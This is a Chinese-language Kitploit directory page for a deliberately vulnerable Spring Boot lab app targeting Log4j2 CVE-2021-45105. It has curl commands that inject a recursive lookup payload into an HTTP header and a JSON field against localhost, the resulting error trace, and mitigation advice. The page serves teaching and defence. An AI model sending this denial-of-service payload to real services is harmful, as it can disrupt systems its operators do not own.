Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
https-github.com-pravin-pp-log4j2-CVE-2021-45105-1 — 示例Spring Boot应用程序,故意存在Log4j2 CVE-2021-45105漏洞,用于练习利用和通过构造的HTTP头理解无限循环拒绝服务攻击。 | Kitploit
工具/GitHubGitHub/dileepdkumar/https-github.com-pravin-pp-log4j2-cve-2021-45105-1
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubdileepdkumar/https-github.com-pravin-pp-log4j2-cve-2021-45105-1

https-github.com-pravin-pp-log4j2-CVE-2021-45105-1

示例Spring Boot应用程序,故意存在Log4j2 CVE-2021-45105漏洞,用于练习利用和通过构造的HTTP头理解无限循环拒绝服务攻击。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
14年前尚未审核
分享

示例 Log4j2 易受攻击应用程序 (CVE-2021-45105)

受影响版本:从 2.0-beta9 到 2.16.0 的所有版本

此应用程序基于易受 CVE-2021-45105 攻击的 Spring Boot Web 应用程序

它使用 Log4j 2.16.0

运行应用程序

运行方式:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

利用步骤

  • 然后,使用以下方式触发利用:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • 注意输出显示无限循环,但在测试中并未发现此拒绝服务攻击会消耗资源,因为程序识别出此无限循环并报错:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

缓解措施:

Java 8(或更高版本)用户应升级到 2.17.0 版本。

或者,可以通过配置缓解:

在日志配置的 PatternLayout 中,将类似 ${ctx:loginId} 或 $${ctx:loginId} 的上下文查找替换为线程上下文映射模式(%X、%mdc 或 %MDC)。 否则,在配置中,删除对来自应用程序外部源(如 HTTP 标头或用户输入)的类似 ${ctx:loginId} 或 $${ctx:loginId} 的上下文查找引用。

下载工具